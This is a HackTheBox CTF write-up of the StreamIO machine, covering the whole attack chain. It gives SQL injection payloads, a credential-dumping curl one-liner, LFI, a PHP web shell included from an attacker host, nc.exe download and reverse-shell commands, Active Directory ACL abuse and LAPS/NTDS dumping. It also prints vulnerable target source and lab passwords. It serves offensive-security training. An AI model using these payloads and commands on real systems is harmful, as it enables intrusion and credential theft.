CTF-Writeups/HackTheBox/StreamIO.md
2022-09-17 22:09:56 +05:00

21 KiB

HackTheBox - StreamIO

NMAP

Nmap scan report for 10.129.94.76
Host is up (0.16s latency).                                            
Not shown: 65518 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings:            
|   DNSVersionBindReqTCP:      
|     version         
|_    bind                    
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-05 02:07:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after:  2022-03-24T07:03:28
| MD5:   b99a 2c8d a0b8 b10a eefa be20 4abd ecaf
|_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d
|_ssl-date: 2022-06-05T02:10:14+00:00; +7h00m00s from scanner time.
| tls-alpn: 
445/tcp   open  microsoft-ds?                  
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cg
i-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/5%Time=629BAD66%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-06-05T02:09:37
|_  start_date: N/A

From the nmap scan we a domain name streamIO.htb and a subdomain watch.streamIO.htb, adding them in /etc/hostsfile

PORT 389 (LDAP)

Running enum4linux to enumerate LDAP

It didn't found anything so moving onto smb for checking null authenticatioin

PORT 139/445 (SMB)

Using smbclient to see if we can list shares with null authentication

PORT 443 (HTTPS)

streamIO.htb

We can see three usernames on about.php so they might be helpful for us later

There's also a login page, so testing for deafult credentials and sqli

Which neither worked

We have an option to register for account so let's do that

But even after registering an account we were not able to login

Ran gobuster to fuzz for files and directories which showed an admin directory but it was forbidden to access

Running gobuster on /admin/ showed some interesting files

Here master.php display a message about being accessed through includes so I wasn't sure what it was talking about

watch.streamio.htb

Running gobuster on this site showed some php files

Checking the search.php it lets us search for a movie name

Clicking on any of the movie name to watch it's going to show us a prompt that it isn't available to watch

This would be retrieving the names of the movie from a database so tried for a sqli with payload

d' or 1=1 --

Which got blocked, I replaced or with and, and it didn't caught the payload

d' and 1=1 -- 

Let's run sqlmap to see if we can dump the database

It was able to determine that it was indeed vulnerable

But it wasn't able to detemine the database reaon could be because of blocked.php filtering the payloads so we need to dump the database manually

For that I tried finding the number of columns but it wasn't returning any error it was hard to identify the columns by including @@version in the column and then increasing the column if it wasn't showing in return

uwu' union select 1,@@version,3,4,5,6 -- 

We know that the MSSQL is being used so now we need to enumerate tables for that we can use this payload

uwu' union select 1,table_name,3,4,5,6 from information_schema.tables --

There's a users table , we need now need to know what columns exists in this table

uwu' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' --

We can then extract username and password columns

uwu' union select 1,username,3,4,5,6 from users --
uwu' union select 1,password,3,4,5,6 from users --

To make it easy, we can concatenate both columns to get a better result

uwu' union select 1,concat(username,':',password),3,4,5,6 from users --

Using curl we can make a POST request without sqli payload and then use sed and awk to get the usernames and passwords

curl -X POST 'https://watch.streamio.htb/search.php' -d 'q=uwu%27%20union%20select%201%2Cconcat%28username%2C%27%3A%27%2Cpassword%29%2C3%2C4%2C5%2C6%20from%20users%20%2D%2D' -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"

I made a dirty little one liner to extract username and password hashes

Here we are making a POST request with -d having the post parameter q with the sqli payload to extract username and password hashes

Next we are using grep to grab text having h5 tag as that's where the serach text is reflected back

Piping it to sed we can replace <h5 class="p-2"> with null character , the same with </h5> and then removing the tabs before the usernames with tr -d "\t"

We are now only left with usernames and password hashes which we can seperate using awk , `awk -F: '{print $1}'``

This cracked 12 hashes out of 30, so now let's try to perform bruteforce on login

We can use burpsuite or hydra to perform bruteforce but I found a tool named patator which I recently started to like for bruteforcing and fuzzing

python3 /opt/patator/patator.py http_fuzz 'url=https://streamio.htb/login.php' method=POST body='username=FILE0&password=FILE1' 0=./users.txt 1=./cracked_passwords.txt -x ignore:fgrep='Login failed'

Here to supply different wordlist we can use any name followed by a number like 0 which indicates the first wordlist so in this case FILE0 and then we define the path to wordlist in 0 , similar we do this with FILE1 andd then we can use -x to ingore the message in the response using fgrep for the string `Login Failed

This has found the valid login yoshide : 66boysandgirls.., After logging in, we can access the admin panel and can see that this user has access to some functionality

Going through each of the management page, we see a GET parameter

So maybe there's a parameter we are not seeing, so fuzzing it through wfuzz, for that we'll need to use yoshihide's session as we cannot access admin without being authenticated

wfuzz -c -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt  -u 'https://streamio.htb/admin/?FUZZ' -b 'PHPSESSID=j20051o8t1rbshc9doco26al06' --hh 1678

This finds a parameter debug, and with this we can perform Local File Inclusion to read the master.php file we found in the /admin directory

The contents of the page are changed which means that we were able to include master.php file, so now to view the source code, we can use a php base64 filter to encode the contents of the page so that the browser doesn't execute the php code and we can get source code

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
yr<h1>Movie managment</h1>                                             
<?php                                                                  
if(!defined('included'))                                                                                                                      
        die("Only accessable through includes");                                                                                              
if(isset($_POST['movie_id']))                                                                                                                 
{                                  
$query = "delete from movies where id = ".$_POST['movie_id'];        
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST" action="?movie=">
                                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
		$query = "select * from users where is_staff = 1 ";                                                                                   [37/539]
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
if(isset($_POST['user_id']))
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

At the bottom of the source code we can see eval being used on file_get_contents on the POST parameter include , so we can include any php file and if it contains php code it's going to be executed

So creating a file a php file having the contents

system($_GET['cmd']);

Hosting this through python server using curl to make a POST request

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=dir' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php

We have command execution, so let's try getting a shell by downloading nc and executing it

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=curl+10.10.14.26:2222/nc.exe+-o+C:\Windows\Temp\nc.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=C:\Windows\Temp\nc.exe+10.10.14.26+3333+-e+cmd.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'

Running whoami will return that we are yoshihde user on the system

And this user is a normal domain user, checking C:\Users there two users Matrin and nikk37 but we don't have access to these directories

Uploading sharphound.exe to gather data about the domain

To transfer this on to our local machine, we can copy the archive file to C:\inetpub\streamio.htb and download the file from the site

https://streamio.htb/20220611010818_BloodHound.zip

Unzip the archive from which we'll get json files and upload them to bloodhound GUI

Looking through the pre-built quries I didn't find any way to escalate from yoshihide to any user

Jdgood seems to be write owner of Core Staff group which can read LASPS other than that there was nothing interesting.

We can find credentials for db_user from login.php

Also we can find password for db_admin

I tried using sqlcmd to login using cmd but it failed

Later uploaded chisel to port forward port 1433

With sqsh we can login to MSSQL and execute quries in the STREAMIO database

But we already know that only tables exits in this database, so let's see if there are any other databases

SELECT name FROM master.dbo.sysdatabases;
go

This shows a database named streamio_backup

But db_user isn't able to access this database, we already have the credentials for db admin so let's use that to access this database

Listing the tables with

SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' 

We can see a users table having 8 users

That has nikk37's hash which is a user on the system, checking if crackstation can crack this hash

Since winrm is open pn the box, we can use evil-winrm to login as nikk37

After getting a shell as nikk37 I ran winpeas.bat which showed that there was a firefox profile

From here we only need logins.json and key4.db, we can use impacket's smb server to transfer files

Using firepwd a python script to decrypt firefox passwords we can get the passwords from the logins.json and key4.db by having them in the same directory

https://github.com/lclevy/firepwd

Brute forcing the passwords we'll get JDg0dd1s@d0p3cr3@t0r as the correct password

Jdgodd isn't in remote desktop user so we can't get a shell or execute commands but we can use the credentials in the process as this user is WriteOwner of Core Staff group

First we'll need to create a credential object so that credentials can be used in the process

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
 
 
 $Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)
 

Next use powerview to make the user the owner of the group


 Set-DomainObjectOwner -Credential $Cred -Identity "CORE STAFF" -OwnerIdentity "JDgodd"

Adding all rights to the group

Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Rights All -Verbose -Credential $Cred

Adding Jdogdd to the group as the member

Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $cred -Verbose

Now we can read LAPS password through crackmapexec and can login as the administrator

cme ldap streamio.htb -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M laps

Being an administrator as he's a domain admin, we can dump NTDS.dit with secretsdump.py `from impacket

References